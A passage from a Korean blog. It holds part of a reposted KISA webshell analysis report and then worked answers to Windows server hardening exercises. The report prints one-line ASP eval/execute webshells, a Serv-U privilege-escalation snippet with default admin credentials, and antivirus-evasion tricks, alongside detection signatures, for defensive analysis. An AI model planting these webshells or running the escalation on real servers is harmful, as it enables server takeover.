- 윈도우 자동으로 로그인 키 값(autoadminlogon)이 설정되어 있는 경우 디폴트 사용자 이름
(DefaultUserName)과 패스워드(DefaultPassword)를 확인
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
- 컴퓨터 이름 확인
HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName
- 익명 사용자 접속 여부 및 공유 정보 확인
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\AutoShareServer
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\EnableSha
redNetDrives
- 보안 필터링 및 포워딩 여부 확인
HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\IPEnableRouter
- 네트워크 카드 정보 확인
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{8A465128
-8E99-4B0C-AFF3-1348DC55EB2E}\DefaultGateway
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind

■ 시스템 정보 확인
웹쉘에서 GetObject 메소드를 이용해 서비스와 사용자 장보를 확인 한다.

o 서비스 확인
Set ComputerObj = GetObject(“WinNT://MYCOMPUTER”)
ComputerObj.Filter = Array(“Service”)
For Each Service in ComputerObj
WScript.Echo “Service display name = “ & Service.DisplayName
WScript.Echo “Service account name = “ & Service.ServiceAccountName
WScript.Echo “Service executable = “ & Service.Path
WScript.Echo “Current status = “ & Service.Status
Next

o 사용자 정보확인
Set objComputer = GetObject(“WinNT://.”)
objComputer.Filter = Array(“User”)
For Each objUser in objComputer
WScript.Echo objUser.Name
Next

■ 어플리케이션 취약점을 통한 로컬 권한상승

웹에서 실행되는 모든 파일들은 기본적으로 인터넷 게스트 계정으로 으로 실행된다. 웹쉘은 이러한 제한된 권한을 관리자 권한으로 상승시키기 위해 취약점 있는 Serv-U 프로그램을 이용한다.
Serv-U 3.x ~ 5.x는 로컬 권한 상승 취약점이 있으며 이를 이용하여 새로운 관리자 계정을 생성할 수 있다. 취약점을 공격하는 과정은 아래와 같다.

o Serv-U 3.x ~ 5.x 버전의 ServUDaemon.exe 다운로드 및 실행 (TzoLibr.dll 필요)
o Serv-U 디폴트 아이피/포트(127.0.0.1/43958) 로 접속 후
o Serv-U 디폴트 관리 아이디/패스워드로 로그인
- USER LocalAdministrator (디폴트 아이디)
- PASS #l@$ak#.lk;0@P (디폴트 패스워드)
o Serv-U에 신규 도메인 생성
o Serv-U 명령어 실행에 필요한 Serv-U 사용자 추가
o “SITE EXEC“ Serv-U 내부 스크립트를 통한 시스템 명령어 수행

set a=Server.CreateObject(“Microsoft.XMLHTTP”)
a.open “GET”, “http://127.0.0.1:” & port & “/goldsun/upadmin/s1”,True, “”, “”
a.send loginuser & loginpass & “SITE MAINTENANCE” & deldomain & newdomain &
newuser & quit
set session(“a”)=a
set b=Server.CreateObject(“Microsoft.XMLHTTP”)
b.open “GET”, “http://127.0.0.1:” & ftpport & “/goldsun/upadmin/s2”, True, “”, “”
b.send “User go” & vbCrLf & “pass od” & vbCrLf & “SITE EXEC “ & cmd & vbCrLf & quit
set session(“b”)=b

나. 스크립트 인코딩
마이크로소프트社의 윈도우 스크립트는 Script Encoder를 제공하여 일반 사용자들이 스크립트 내용을 확인하는게 쉽지 않도록 하고 있다. 하지만 웹쉘을 업로드한 공격자가 이러한 기능을 악용하여 관리자가 웹쉘을 쉽게 찾지 못하도록 백신탐지를 우회 하는데 이용하고 있다.

http://msdn2.microsoft.com/en-us/library/cbfz3598(VS.85).aspx

Script Encoder는 콘솔모드에서 명령어 라인으로 실행되며 다음과 같이 사용한다.

SCRENC [switches] inputfile outputfile

일반 asp 스크립트를 인코딩 하면 아래와 같은 결과가 된다.
일반 소스
인코딩 소스
<SCRIPT language=”VBScript”>
<%
This is test
%>
</SCRIPT>
<%@ LANGUAGE = VBScript.Encode %>
<SCRIPT language=”VBScript”>
<%#@~^FAAAAA==@#@&K4b/,k/,Y dY
@#@&ogQAAA==^#~@%>
</SCRIPT>
[그림] scrdec18 프로그램을 이용한 디코딩
다. 짧은 웹쉘
ASP 웹쉘 중 eval, execute 메소드를 이용하여 공격자로부터 웹쉘 코드를 전달 받아 실행하는 짧은 소스 코드들이 있다. 이같이 짧은 소스코드가 정상적인 소스에 삽입되어 실행되는 경우도 있으므로 관리자들의 각별한 주의가 필요하다.

- eval (expression) : eval 함수는 expression으로 정의된 코드를 평가하여 결과(True, False)를 알려준다.
- execute (expression) : execute 함수는 expression으로 정의된 코드를 실행하여 결과를 알려준다.

eval, execute 메소드를 이용한 웹쉘 구동 방법은 아래 개요도처럼, 먼저 공격자는 피해시스템에 웹쉘 코드를 보내는 html 폼(2006_lite.asp.html)을 준비하고 그 폼에 웹쉘 코드를 넣어 피해 시스템 웹쉘(server.asp)에 전송한다. 피해시스템에서는 웹쉘 코드를 전달 받아 execute, eval 메소드로 실행하고 execute 메소드는 결과를 공격자에게 전달해 준다. (eval 메소드는 코드를 실행하고 결과에 대한 True, False 만을 알려주므로 적절한 결과를 공격자에게 알려주지는 못한다)
[그림] execute, eval 코드를 이용한 웹쉘 실행 방법
■ eval 코드
다음은 피해시스템에서 발견된 eval 코드 유형이며 아래와 같이 한 줄, 짧은 코드로 이루어진다.
- <%eval request(“l”)%>
- <%eval(request(“#”))%>

■ execute 코드
다음은 피해시스템에서 발견된 execute 코드 유형이다.
- <%execute request(“l”)%>
- <%If Request(“#”)<>”” Then Execute(Request(“#”))%>

■ execute 세션 유지 용 코드
execute 메소드를 이용한 짧은 코드의 경우 공격자가 실행하기 원하는 코드를 위 개요도 그림처럼 매번 전송해주어야 하는 번거로움이 있다. 그래서 공격자들은 한번 넘겨준 코드를 실행한 결과를 세션으로 연결하여 다음에는 코드를 넘겨줄 필요 없이 실행 결과에서 다음 메뉴로 넘어갈 수 있도록 하였다.
<SCRIPT language=”vbscript” runat="”server”">
If Request(“asdf”)<>”” Then Session(“조직킬러”)=Request(“asdf”)
If Session(“조직킬러”)<>”” Then Execute(Session(“조직킬러”))
</SCRIPT>

라. 기타

■ 문자열 분리를 이용한 탐지 우회 기능
최근 바이러스 백신이나 서버 관리자들이 웹쉘 시그니쳐를 통해 웹쉘 탐지가 많아지자 공격자 들은 시그니쳐로 이용되는 문자열(오브젝트 명)들을 분산시켜 탐지를 우회하고 있다.

- Shell.Application
문자열을 연결하는 & 연산자를 이용하고 값이 주어지지 않은 변수 x를 이용해 아래와 같이
Shell.Application 문자열을 분리한다.
Set sa = Server.CreateObject“( She”&x&”ll.Appl”&x&”ication”)
“She”&x&”ll.Appl”&x&”ication”=>“ Shell.Application”
- WScript.Shell
Set ws = Server.CreateObject“( WScr”&x&”ipt.Shell”)

■ 파일 생성 웹쉘
Scripting.FileSystemObject 오브젝트를 이용하여 새로운 파일을 생성하는 기능을 앞서 살펴 보았다. 최근 정상적인 스크립트들에서도 사용하는 CreateTextFile, Write 메소드를 이용하여 단지 파일만 생성하는 웹쉘들이 증가하고 있다. 이러한 웹쉘은 정상적인 스크립트에서 사용하는 오브젝트와 메소드를 사용하므로 탐지하기가 쉽지 않다. 또한 이러한 웹쉘들은 앞서 설명한 다양한 기능을 가지는 웹쉘을 얼마든지 생성할 수가 있어 관리자들의 주의가 필요하다.

[그림] 파일 생성 웹쉘 화면
3. 탐지 방안

가. 웹쉘 시그니쳐를 이용한 파일 검색

■ 시그니쳐
웹쉘은 시스템 명령어를 수행하거나 파일을 조작하기 위해 관련된 오브젝트, Wscript.Shell, Shell.Application 등을 주로 사용하게 된다. 하지만 이러한 오브젝트는 정상적인 스크립트 코드에서는 사용하지 않는 것들로 웹쉘 탐지를 위한 시그니쳐로 지정하여 웹쉘을 탐지하는데 이용할 수 있다. 이렇게 시그니쳐로 지정할 만한 문자열들을 찾아본 결과 다음과 같았다.

- Wscript.Shell, Shell.Application 과 같은 시스템에 접근할 수 있는 오브젝트나 메소드
- 인코딩된 파일에 삽입된 헤더 문자열 VBScript.Encode
- 중국어 간체 gb2312
- 시스템 명령에 필요한 문자열 cmd.exe
- 정상적인 스크립트에서 흔히 사용되지 않는 eval, execute 함수 등
cmd\.exe
Wscript\.Shell Shell\.Application VBScript\.Encode gb2312
execute *\(? *session execute *\(? *request eval *\(? *request \.run.*> \.exec *\(
webshell lake2 hack520 lcxMarcos Marcos

■ findstr 명령어를 활용한 탐지 방법
findstr 이라는 명령어는 지정된 파일들에서 찾고자 하는 특정 문자열들을 검색할 수 있도록 도와준다. 위에서 정의된 시그니쳐들을 파일(asp.sig)로 지정하고 사이트 홈 디렉터리에서 아 래의 예처럼 실행해 보기 바란다.

findstr /i /r /s /g:asp.sig *.asp

- i : 대소문자 구분없이 검색
- g : 지정된 파일에서 검색 문자열을 받음
- r : 정규 표현식 사용
- s : 모든 하위디렉터리 검색

※ 최근 공격자들이 웹쉘 확장자를 .cer, .asa, cdx, hta로 변경하여 파일을 업로드 하는 경우가 있다.(파일 업로드
우회 공격) 반드시 검사 확장자를 asp 뿐만 아니라 스크립트로 실행되도록 지정된 .asa, .cer 등도 반드시 함께
검색 하도록 해야 한다.

[그림] 검사대상 확장명
나. 웹쉘 로그 시그니쳐를 이용한 웹 로그 검색

■ 시그니쳐
최근 대부분의 웹쉘들은 POST 방식으로 관련 데이터들을 전송하기 때문에 웹 로그에서 웹쉘이 실행된 흔적을 찾기가 쉽지 않다. 하지만 많은 웹쉘들은 실행할 메뉴들을 GET 방식으로 전달 하여 이러한 로그들을 대상으로 시그니쳐를 추출 할 수 있었다. 아래 8.0.asp 웹쉘에서 시스템 명령어 수행하는 메뉴를 실행하면 아래와 같이 /WebShell/8.0.asp?Action=Cmd1Shell GET 요청을 하게 되어 Action=Cmd1Shell 이라는 고유의 시그니쳐를 얻을 수 있다.

ex) http://victim.com/WebShell/8.0.asp?Action=Cmd1Shell

인터넷침해사고대응지원센터에서 피해시스템에서 수집된 웹쉘을 테스트하고 아래와 같이 웹쉘 실행여부를 확인할 수 있는 시그니쳐를 추출하였다.
Action=MainMenu
Action=Show1File
Action=EditFile
Action=DbManager
Action=getTerminalInfo
Action=ServerInfo
Action=Servu
Action=kmuma
Action=kmuma&act=scan
Action=Cplgm&M=2
Action=plgm
Action=PageAddToMdb >
Action=ReadREG
Action=ScanPort
Action=Cmd1Shell
Action=UpFile
(pageName|id|list|action|act)=ServiceList
(pageName|id|list|action|act)=ServiceList
(pageName|id|list|action|act)=infoAboutSrv
(pageName|id|list|action|act)=objOnSrv
(pageName|id|list|action|act)=userList
(pageName|id|list|action|act)=WsCmdRun
(pageName|id|list|action|act)=SaCmdRun
(pageName|id|list|action|act)=SaCmdRun&theAct
(pageName|id|list|action|act)=FsoFileExplorer
(pageName|id|list|action|act)=FsoFileExplorer&theAct
(pageName|id|list|action|act)=FsoFileExplorer&thePath
pageName=MsDataBase
pageName=MsDataBase&theAct=showTables
pageName=TxtSearcher
pageName=OtherTools
act=scan
Action=mainwin
action=listtb
action=listvw
action=listdb
action=execsql
action=dbsrcbox
action=searchfile
action=xpcmdshell
(action|act)=cmdshell
action=mainmenu
action=showfile
action=editfile
action=course
action=serverinfo
action=upfile
action=dbmanager
ex=edit&pth=
PageName=PageUpload&theAct
PageName=PageWebProxy&url=
productName=HigroupASPAdmin
PageWebProxy
aCTiON=cMd
aCTiON=ClonETiMe&SrC=
aCTiON=SqLrOotKIt
aCTiON=Reg
aCTiON=DAtA
aCTiON=Goto&SrC=C:\
aCTiON=uPFIlE&SrC=
aCTiON=NEw&SrC=
act=info
act=filemanage
act=edit&src=
act=del&src=
act=rename&src=
DirName=
Type=.*FileName=.*\
Type=.*ok=dir
FsoFileExplorer
WsCmdRun
SaCmdRun
MsDataBase
HigroupASPAdmin
=cmd
ClonETiMe
SqLrOotKIt

4. 결론
관리하는 서버에서 웹쉘이 탐지되었다면 시스템에 웹쉘을 생성할 수 있었던 취약점이 존재 할 것 이다. 웹쉘이 업로드 된 피해시스템을 분석한 결과 대부분 파일 업로드, SQL Injection과 같은 어플리케이션 취약점으로 웹쉘이 생성되는 것으로 확인되었다. 웹쉘을 탐지해서 제거하는 것도 중요하지만 웹쉘을 생성할 수 있었던 근본적인 취약점을 찾아내어 패치하는 것도 관리자들이 꼭~! 잊지 않고 해야 될 작업일 것이다.
앞서 탐지 방법에서 제공한 시그니쳐들은 오탐이 발생할 수 있으므로 반드시 이 보고서에서 설명한 기능을 갖는 웹쉘인지 확인 후 삭제해야 한다.

[자료: 한국정보보호진흥원(KISA)]
2011/01/27 01:06 2011/01/27 01:06
1.사용자 계정 정책 보안

윈도우 2000 서버를 FTP 서비스로 사용하기 위해 새로 설치하였다.
"ftp_user" 라는 사용자를 아래와 같은 정책으로 구성하여라.

1. 기호 및 숫자, 알파벳을 조합한 최소 암호길이를 7자리 이상으로 설정하여라.
=> "제어판>관리도구>로컬 보안 설정"
"계정 정책>암호 정책"에
정책중에서 "암호는 복잡성을 만조해야함"을 "사용"으로 설정
           "최소 암호 길이" "7"로 설정



2. 패스워드 재 사용 금지를 위해 이전 패스워드 3개를 기억할 수 있도록
설정하여라.
=> "제어판>관리도구>로컬 보안 설정"
"계정 정책>암호 정책"에
정책중에서 "최근 암호 기억"을 "3"으로 설정



3. 패스워드 유출 사고를 대비하여 31일마다 패스워드를
재설정 하도록 하여라.
=> "제어판>관리도구>로컬 보안 설정"
"계정 정책>암호 정책"에
정책중에서 "최대 암호 사용 기간"을 "30"으로 설정



4. 사전 대입 공격을 차단하기 위해 5번의 로그인 실패 시 30분간
잠금 정책을 설정하여라.
=> "제어판>관리도구>로컬 보안 설정"
"계정 정책>계정 잠금 정책"에
정책에서 "계정 잠금 임계값"을 "5"로 설정한다.
//임계값을 설정하면 자동으로 계정 잠금 기간이 30으로 설정 된다.



5. 위 정책을 보안 템플릿 파일 형태로 작성하여라.
(저장 파일명: C:\Usrmply.inf)
=> 저장


6. `net`명령어를 이용하여 위에서 설정된 결과값을 저장하여라.
(저장 파일명: C:\Usrmply.txt)
=> C 드라이드 root로 이동후에
net accounts > Usrmply.txt



2.사용자 권한 할당

1. 하위 윈도우 버전(NT3.5, Windows 98등)과
텍스트 암호 통신을 하는 LM인증을 사용하지 않도록
윈도우 2000 서버의 인증 보안을 강화시켜라(NTLMv2사용).
=>
실행>secpol.msc(로컬보안설정)
"로컬 정책>보안 옵션"에서
정책중에 "네트워크 보안:LAN Manager 인증 수준"을
"NTLMv2 응답만 보냄\LM 거부"로 설정



2. 일반 사용자가 시스템에 직접 로컬 로그온 하여 악의적인 코드를
다운로드하고 실행하여 사용자 권한을 변경 할 수 있는 위험을 없애기 위해
허가된 관리자 그룹(Administrators)을 제외한 모든 그룹에 대하여
로컬 로그온을 하지 못하도록 설정하여라.
=>
실행>secpol.msc(로컬보안설정)
"로컬 정책>사용자 권한 할당"에서
정책중 "로컬로 로그온"을 Administrator만 남기고 모두 삭제


3. Windows XP컴퓨터에서 네트워크를 통해 Windows 2000 도메인 컨트롤러
공유자원에 접근하기 위해 SMB통신을 하려고 한다.
IPSec을 사용하지 않고 공격자의 세션 가로채기 공격을 방어할 수 있는
SMB 서명 인증 통신 방법을 설정하여라.
=>
실행>secpol.msc(로컬보안설정)
"로컬 정책>보안 옵션"에서
정책중에
"Microsoft 네트워크 서버 : 디지털 서명 통신 (서버에서 동의한 경우)"
"Microsoft 네트워크 서버 : 디지털 서명 통신 (항상)"
"Microsoft 네트워크 클라이언트 : 디지털 서명 통신 (서버에서 동의한 경우)"
"Microsoft 네트워크 클라이언트 : 디지털 서명 통신 (항상)"

위에 4개 정책을 모두 "사용"으로 설정한다.
"Microsoft 네트워크 클라이언트 : 디지털 서명 통신 (서버에서 동의한 경우)" 정책은
기본으로 사용으로 되어있는 경우도 있음.


3.익명 보안 옵션Windows 2000
※ 주의 : 문제서버를 Windows 2000 Server로 간주하고 문제를 해결하시오.

1. 대화형 로그온에 불법적으로 접근 시도를 하는 침입자를 위해
경고 문구를 생성하고 마지막으로 로그온한 사용자 계정을 감추어라.
[제목: 올바른 인증 없이 계속 진행하면 시스템에 대한 공격으로 간주합니다.]
[내용: 이 시스템은 권한 있는 사용자만 사용할 수 있습니다.
무단 접근을 시도하면 기소 사유가 됩니다.]
=>실행>regedit
[경고 문서 생성]
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 에
"LegalNoticeCaption" (제목)
"LegalNoticetext" (내용) 에 각각 해당 사항 입력

[마지막으로 로그온한 사용자 계정 감추기]
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 에서
오른쪽클릭>새로만들기> DWORD 값
이름 : DontDisplayLastUserName
값 데이터 : 0x1(16진수)



2. 권한 없는 사용자가 서버의 계정 이름 목록을 수집하여 암호를 추측하거나
`사회 공학적 해킹`방법을 수행하는 형태의 접근을 차단하기 위해
익명 접근을 제한하라
=>
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" 에
이름: RestrictAnonymous 에 값을 0x2(16진수) 로 변경



3. 각종 바이러스, 웜 감염에 대비하여 운영체제 시작 시 자동으로 공유되는
관리용 폴더를 검색하여 `C:\MgtShare.txt`파일로 저장하여라.
또한 현재 공유되어 있는 모든 관리용 폴더를 삭제하고 재 부팅 시에도
공유되지 않도록 레지스트리 값을 설정하여라.
=>
[관리용 폴더를 검색하여 저장]
net share > c:\MgtShare.txt

[현재 실행 중인 기본 공유 제거]
net share c$ /delete
net sharee admin$ /delete
net share IPC$ /delete (IPC는 커맨드로 삭제 불가능 - 서비스를 지워야함)
 

[기본 공유 제거 - XP / 2003]
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"
 - Value name : AutoShareServer
 - Data Type : DWORD
 - Value : 0(zero)

[기본 공유 제거 - 2000]
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
 - Value name : AutoShareWks
 - Data Type : DWORD
 - Value : 0(zero)

===> 문제에서는 윈도우 2000 서버로 생각하고 풀어라고 했는데, 윈도우 2000 서버의 기본 공유 제거

방법이 먹히지 않음 (문제를 잘못 낸듯)

XP/2003에서의 기본 공유 제거 방법으로 해야 문제가 풀립니다.


4.익명 보안 옵션Windows XP
 (3번문제과 연결된 문제)

4. 대화형 로그온에 불법적으로 접근 시도를 하는 침입자를 위해
경고 문구를 생성하고 마지막으로 로그온한 사용자 계정을 감추어라.
[제목: 올바른 인증 없이 계속 진행하면 시스템에 대한 공격으로 간주합니다.]
[내용: 이 시스템은 권한 있는 사용자만 사용할 수 있습니다.
무단 접근을 시도하면 기소 사유가 됩니다.]
=>
[경고 문구 입력]
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" 에
LegalNoticeCaption (제목)
LegalNoticetext (내용) 에 각각 해당 사항 입력

[마지막 로그온한 사용자 계정 감추기]
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" 에
"dontdisplaylastusername" 을 "1"로 설정



5. 권한 없는 사용자가 서버의 계정 이름 목록을 수집하여 암호를 추측하거나
`사회 공학적 해킹`방법을 수행하는 형태의 접근을 차단하기 위해
아래와 같이 익명 접근을 제한하여라.

A. 콘솔 로그온 시 로컬 계정에서 빈 암호 사용 제한
=>
"로컬 보안 설정 > 로컬 정책 > 보안 옵션" 정책중에
"계정: 콘솔 로그온 시 로컬 계정에서 빈 암호 사용 제한"을 사용으로 변경

B. SAM 계정의 익명 열거 허용 안함
=>
"로컬 보안 설정 > 로컬 정책 > 보안 옵션" 정책중에
"네트워크 액세스: SAM 계정과 공유의 익명 열거 허용 안 함 "을 사용으로 변경

C. SAM 계정과 공유의 익명 열거 허용 안함
=>
"로컬 보안 설정 > 로컬 정책 > 보안 옵션" 정책중에
"네트워크 액세스: SAM 계정의 익명 열거 허용 안 함 "을 사용으로 변경



6. 각종 바이러스, 웜 감염에 대비하여 운영체제 시작 시 자동으로 공유되는
관리용 폴더를 검색하여 `C:\MgtShare.txt` 파일로 저장하여라.
또한 현재 공유되어 있는 모든 관리용 폴더를 삭제하고 재 부팅 시에도
공유되지 않도록 레지스트리 값을 설정하여라.
=>
[관리용 폴더를 검색하여 저장]
net share > c:\MgtShare.txt

[현재 실행 중인 기본 공유 제거]
net share IPC$ /delete (IPC는 커맨드로 삭제 불가능 - 서비스를 지워야함)
net share c$ /delete
net sharee admin$ /delete

[기본 공유 제거 - XP / 2003]

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters

 - Value name : AutoShareServer
 - Data Type : DWORD
 - Value : 0(zero)


5.관리자 계정 보안

1. 현재 관리자 sid값은 무엇인가?
=>
실행(ctrl+r) > cmd

c:\>user2sid administrator
S-1-5-21-796845957-412668190-839522115-500
Number of subauthorities is 5
Domain is KISA-1
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser

c:\>getsid \\kisa-1 administrator \\kisa-1 administrator
The SID for account KISA-1\administrator matches account KISA-1\administrator
The SID for account KISA-1\administrator is S-1-5-21-796845957-412668190-839522115-500



2. 관리자 이름을 `eent123x`로 변경하여라. 변경 이후 관리자 sid값은 무엇인가?
=>
[관리자 이름 변경]
"로컬 보안 설정>로컬 정책 > 보안 옵션" 에 정책중
"계정 : Administrator 계정 이름 바꾸기" 값을 eent123x로 변경한다.

[변경 이후 관리자 sid 값]
1번 같은 방법으로..




3. 가짜 Administrator 계정을 만들고 guest 그룹으로 등록하여라.
=> "제어판 > 관리도구 > 컴퓨터 관리"에
   "로컬 사용자 및 그룹 > 사용자"에서
   "오른쪽 클릭 > 새 사용자"클릭 이름을 Administrator로 정하고 확인
   목록에서 Administrator 우클릭> 속성에 "소속 그룹" 탭에서
   "추가" 클릭> 그룹선택에서 "고급" 클릭
   "지금 찾기"클릭후 목록에서 Guest 계정 클릭하고 확인
   기존에 등록되어있던 소속 그룹은 삭제한다.
  


4. 패스워드 크랙 방지를 위해 SAM 데이터 베이스를 128bit로 암호화 시켜라.
=> 실행>cmd

c:>syskey
Windows XP 계정 테이터베이스 보안
암호화 사용> 확인


6.패치 및 업데이트 관리

※ 주의 : MBSA(Microsoft Baseline Security Analyzer)를 이용하여 해결하시오.

1. 현재 시스템에서 업데이트가 이루어지지 않았거나 잘못된 업데이트는
모두 몇 개 인가?
=> C:\Program Files\Microsoft Baseline Security Analyzer\mbsa를 실행한다.

17개


2. 현재 시스템에서 나타난 취약점은 모두 몇 개 인가?
0개



7.Windows XP 폴더 보안

Windows XP Professional을 사용하는 중소기업에서 개인 공유 폴더에 대한 보안을
아래와 같이 설정하려고 한다.

1. `4분기영업자료` 공유 폴더를 share_user 라는 사용자만 네트워크를 통해
읽기 가능하도록 설정하여라.
=> 해당 폴더 우클릭 > "공유 및 보안" 클릭
   공유설정 확인한다.
   사용자 제한설정이 나오지 않는다면 탐색기>도구>폴더 옵션 "보기"탭에서
   "모든 사용자에게 동일한 폴더 공유 건한을 지정"에 체크를 해제한다.
  
   "사용권한" 클릭 > "추가" 클릭 > "고급" 클릭 > "지금 찾기" 클릭
   share_user 를 찾아서 확인
   기존에 등록된 그룹또는 사용자는 삭제한다.



2. `4분기영업자료` 폴더에 접근할 사내 직원은 10명이 넘지 않으므로 10명만
동시 접속이 가능하도록 설정하여라
=>
   "공유 및 보안"에서 사용자 제한> "허용 인원"을 10으로 설정


8.터미널 서비스 보안

1. `ftp_user` 계정만 터미널 서비스에 로그온 할 수 있도록 설정하여라.
=> "실행" > "compmgmt.msc"(컴퓨터관리)
   "시스템 도구" > "로컬 사용자 및 그룹" > "사용자" > "ftp_user"추가
   내 컴퓨터 > 속성 > "원격"탭에서 원격데스크톱에 사용자 추가 ftp_user
  

2. 기본적인 터미널 서비스 포트 3389/tcp를 3147포트로 변경하여라.

아래 레지스트리 경로로 이동하여 터미널 서비스 접속 포트를 변경 하여 준다.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp 에서 Port number 수정
 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp 에서 Port number 수정



10진수를 선택하고 3147을 넣어주면 된다.


9.레지스트리 보안

웜이 시스템 시작 시 레지스트리로부터 실행되는 것을 막기 위해 자동 실행관련
레지스트리 키를 찾아 관리자 그룹(administrators), 시스템 그룹(SYSTEM)만
접근 가능하도록 설정하였다.

1. 바이러스 웜 및 악성 프로그램이 시스템에 설치되었는지 감사하고자 한다.
자동 실행 관련 레지스트리 키의 `값 설정`, `삭제`, `하위 키 추가 성공`,
`연결 만들기` 이벤트 발생시 감사로그가 남도록 설정하여라.

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion의 Run, RunOnce, RunServices

HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion의 Run, RunOnce, RunServices, RunServicesOnce



2. 패스워드 무작위 대입 공격이나 바이러스 웜 감염을 막기 위해 원격에서
레지스트리 조작을 허용하지 않도록 설정하여라
=> 실행 > services.msc
"Remote Registry" 항목 "사용 안함"으로 설정


10.전자 메일 보안

1. 바이러스 가능성이 있는 첨부파일을 저장하거나 열 수 없도록 설정하여라.
=> OutLook Express 실행 > "도구" > "옵션"
   "보안"탭에 "바이러스 가능성이 있는 첨부 파일을 저장하거나 열 수 없음" 체크



2. 다른 응용 프로그램에서 나를 발신인으로 하는 메일을 보낼 때 경고하도록
설정하여라.
=> OutLook Express 실행 > "도구" > "옵션"
   "보안"탭에 "다른 응용 프로그램에서 나를 발신인으로 하는 메일 보낼 때 경고" 체크



3. 선정적인 HTML이나 악성 HTML, 스파이웨어 등으로부터 컴퓨터를 보호하기 위해
수신된 모든 전자메일을 평문(Text)으로 읽을 수 있도록 설정하여라.
=> OutLook Express 실행 > "도구" > "옵션"
   "읽기" 탭에 "일반 텍스트로 모든 메시지 읽기" 체크


4. 제목이 `[광고], (광고), [광 고], (광 고)`로 표기된 메일을 모두
`광고메일` 함으로 이동시키는 필터 규칙을 만들고 적용하여라.
(단, 규칙 이름은 `광고메일` 로 지정한다.)
=> "도구" > "메세지 규칙" > "메일" 클릭
1. 규칙의 조건 선택 에서 "제목란에 특정 단어 포함" 선택
2. 규칙의 동작 선택 에서 "지정된 폴더로 이동" 선택
3. 규칙 설명에서 특정단어와 지정된 폴더 클릭으로 들어가서 선택
4. 규칙 이름에 "광고메일" 입력



5. 제품 등록 키를 PGP로 암호화하여 수신된 E-Mail이 있다.(개인키 : kisa12#$)
전자메일 메시지 내의 제품 정식 등록 키 값은 무엇인가?
=> 메일 전체 복사
트레이아이콘(자물쇠) 클릭 > "clipboard" > decrypt & verify
"개인 키"에 kisa12#$를 입력 확인

제품 등록키 123-24-12345



11.파일 및 폴더 암호화

1. 기밀 파일을 담고 있는 `C:\Documents and Settings\kisa\My Documents`
폴더를 EFS를 사용하여 암호화 하고자 한다. 아래와 같이 설정하여라.

▶ 다른 계정으로 로그온 한 사용자가 접근하지 못하도록 제한하여라.
▶ 현재 폴더 및 하위 폴더에 모두 적용되도록 설정하여라.

[EFS 암호화]
해당 폴더 우클릭 > 속성 > "일반"탭 에서 "고급" 클릭
"보관 가능" 체크
"데이터 보호를 위해 내용을 암호화" 체크 후에 확인
 현재 폴더 및 하위 폴더 적용 체크 후 다시 확인



2. `C:\EfsShare`에 EFS로 암호화되어 저장된 파일(sis.txt)을
`sis_admin` 사용자도 읽기 가능하도록 설정하여라.
=>
 폴더로 이동하여 sis.txt 라는 파일을 새로 만든다.
 1번과 동일하게 암호화 해준다.

c:\EFShare안에 sis.txt 파일을 만들고 똑같이 EFS로 암호화 하되 자세히를 눌러 접근 가능한 사용자를 추가해 준다.

자세히가 클릭이 안될경우
 속성에 "보안" 탭에 sis_admin 사용자를 추가 한다.



3. 패스워드 분실 및 계정 삭제, 디스크 포맷등과 같은 만일의 사태에 대비하여
암호화한 파일 및 폴더를 복구 할 수 있도록 인증서를 백업(C:\EFSBackup.cer)하여라
=> "실행" > mmc > 파일 > 스냅입 추가/제거
 인증서를 추가 한다.
 인증서에서 "신뢰된 사용자" > "인증서"에서
 "sis_admin" 우클릭 > 모든작업 > 내보내기


12.인터넷 익스플로어 보안

1. 공용 컴퓨터에서 인터넷 뱅킹 뿐만 아니라 사적인
컴퓨팅 활동을 보호 하려고 한다. 웹 사이트에서 입력된 사이트 주소,
사용자 ID 및 패스워드를 저장 시키지 않기 위한 옵션과 최근 방문했던
모든 사이트의 주소를 삭제하여라.

=> 익스플로러 > 속성 > "일반" 탭에서 쿠키 및 임시파일
   인터넷 접속 목록을 모두 삭제 한다.
 
[사용자 ID 및 패스워드를 저장 시키지 않기]
익스플로러  > 속성 > "내용" > "자동 완성" 클릭
자동완성 대상을 모두 체크를 해제 한다.


2. 개인 보호 정책이 없는 제 3사 사이트로부터 쿠키를 차단 시키고,
제 1사 쿠키만을 허용하도록 쿠키 보안을 설정하여라.
 
=> 익스플로러 > 속성 > "개인 정보" 탭에서 "고급" 클릭
   제 1사 쿠키 는 "적용"
   제 3사 쿠키 는 "차단" 으로 적용한다.


13.DoS공격 방어

아래와 같이 웹 서버가 초당 1000개 이상의 SYN 패킷을 받고 있었다.
앞으로 이런 유형의 공격을(DoS) 방어하기 위한 레지스트리 값을 설정하여라.

C:>netstat -na | findstr ` SYN_RECEIVED`
TCP 211.241.82.71:80 6.55.194.236:51370 SYN_RECEIVED
